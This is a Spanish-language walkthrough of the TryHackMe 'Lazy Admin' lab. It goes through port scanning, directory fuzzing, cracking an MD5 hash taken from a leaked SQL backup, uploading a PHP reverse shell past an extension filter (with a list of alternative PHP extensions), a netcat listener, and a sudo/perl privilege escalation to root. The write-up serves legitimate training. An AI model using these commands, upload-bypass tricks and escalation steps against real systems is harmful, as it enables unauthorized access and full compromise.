Lazy admin

14 de diciembre de 20226 minutos
Máquina fácil Linux para practicar tus habilidades.
https://tryhackme.com/room/lazyadmin
IP Atacante = 10.10.10.10
IP víctima = 10.10.192.128
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.192.128
PING 10.10.192.128 (10.10.192.128) 56(84) bytes of data.
64 bytes from 10.10.192.128: icmp_seq=1 ttl=63 time=66.1 ms
--- 10.10.192.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 66.057/66.057/66.057/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.192.128 -oG allPorts
| Parámetro | Función |
|---|---|
| -p- | Para que el escaneo sea a todos los puertos (65536) |
| –open | Para que solo reporte los puertos abiertos |
| -sS –min-rate 5000 | Definir el tiempo del escaneo |
| -n | Omitir resolución DNS |
| -vvv | Para que vaya reportando lo que encuentre por consola |
| -Pn | Skip host discovery |
| -oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPorts |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.29.188
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ sudo nmap -p22,80 -sC -sV 10.10.192.128 -Pn target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 497cf741104373da2ce63s89586f8e0f0 (RSA)
| 256 2fd7c44ce81b5sa9044dfc0638c72ae55 (ECDSA)
|_ 256 6184622s7c6c32917dd27459e29cb905e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
| Parámetro | Función |
|---|---|
| -p22,80 | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
| -sC | Para que realice scripts básicos de reconocimiento |
| -sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 80
Al entrar a la web lo primero que se ve es lo siguiente

Buscando subdirectorios
Para ver si hay subdirectorios vamos a usar la herramienta wfuzz para fusear mediante un diccionario que está en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt con el siguiente comando:
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.192.128/FUZZ
=======================================================================
ID Response Lines Word Chars Payload
=======================================================================
000000075: 301 9 L 28 W 316 Ch "content"
000095524: 403 9 L 28 W 278 Ch "server-status"
| Parámetro | Función |
|---|---|
| -c | Para que lo reporte todo con colores |
| -t | Para configurar el tiempo |
| –hc=404 | Para que no nos reporte los subdirectorios que no existan |
| -w | Es donde se indica el diccionario |
| FUZZ | Se escribe donde quieres aplicar el diccionario |
Dentro de /content solo hay un texto

Traducción: Bienvenido a SweetRice - Gracias por instalar SweetRice como su sistema de administración de sitios web. Este sitio se está construyendo ahora, por favor llegue tarde. Si usted es el webmaster, vaya a Dashboard -> General -> Configuración del sitio web y desmarque la casilla de verificación “Cerrar sitio” para abrir su sitio web. Más ayuda en Consejo para Basic CMS SweetRice instalado
Buscando subdirectorios en /content/
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.192.128/content/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 301 9 L 28 W 323 Ch "images"
000000953: 301 9 L 28 W 319 Ch "js"
000002190: 301 9 L 28 W 320 Ch "inc"
000003320: 301 9 L 28 W 319 Ch "as"
000003601: 301 9 L 28 W 324 Ch "_themes"
000003808: 301 9 L 28 W 327 Ch "attachment"
Credenciales Inicio Session
Dentro del /inc hay una carpeta llamada mysql_backup/ dentro hay un archivo llamado mysql_bakup_20191129023059-1.5.1.sql nos lo descargamos, dentro se puede ver un usuario llamado manager con un hash --------------
❯ hash-identifier --------------
Possible Hashs:
[+] MD5
Para ver el contenido vamos a usar John the Ripper
John The Ripper es una herramienta de código abierto para la recuperación y auditoría de seguridad en contraseñas, además de ser multiplataforma, es el más utilizado y versátil, ya que combina una velocidad de “craqueo” rápida, con una extraordinaria gama de tipos de hash compatibles.
❯ sudo john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Password Censurada (?)
1g 0:00:00:00 DONE (2022-12-14 21:28) 100.0g/s 3379Kp/s 3379Kc/s 3379KC/s 062089..redlips
Session completed.
Ahora ya podemos iniciar sessión en el panel de login que está en /content/as

Con esto entramos a un directorio que parece ser el panel de control del administrador, hay muchos apartados, pero hay uno (media center) En el cual podemos subir archivos.
Reverse shell
Vamos a intentar subir un archivo.php malicioso echo por pentestmonkey para crear una reverse shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Importante cambiar esto con la ip de nuestra máquina y el puerto en el que vamos a estar en escucha
$ip = '10.10.10.10'; // CHANGE THIS
$port = 443; // CHANGE THIS
Ahora ya lo podemos subir
![]()
No se ha subido, puede ser que al ser .php lo haya bloqueado… En estas situaciones, se puede intentar con extensiones menos típicas de php que el admin no haya bloqueado.
Ejemplos de alternativas a .php: .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Primero vamos a probar con .phtml

¡Ahora si!
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
Clicamos el archivo que hemos subido anteriormente a la web y recibimos la conexión
Tratamiento de la tty
Antes de empezar lo primero para trabajar mejor es hacer un tratamiento de la tty…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Escalada de privilegios
Con sudo -l se puede ver que podemos ejecutar /usr/bin/perl y /home/itguy/backup.pl
Si vamos al /home/itguy/, y hacemos un cat a backup.pl se ve que ejecuta un archivo que está en /etc/copy.sh
(Contenido backup.pl)
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
En este archivo no tenemos permisos de escritura, pero en el copy.sh sí. Vamos a hacer una prueba para ver si lo que ponemos en copy.sh se ejecuta como root
www-data@THM-Chal:/$ echo "whoami" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root
Efectivamente se ejecuta como root, ahora vamos a decirle al copy.sh que spawnee una bash
www-data@THM-Chal:/$ echo "/bin/bash -i" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root@THM-Chal:/#
¡Ya somos root!
Con un cat /root/root.txt podemos ver la flag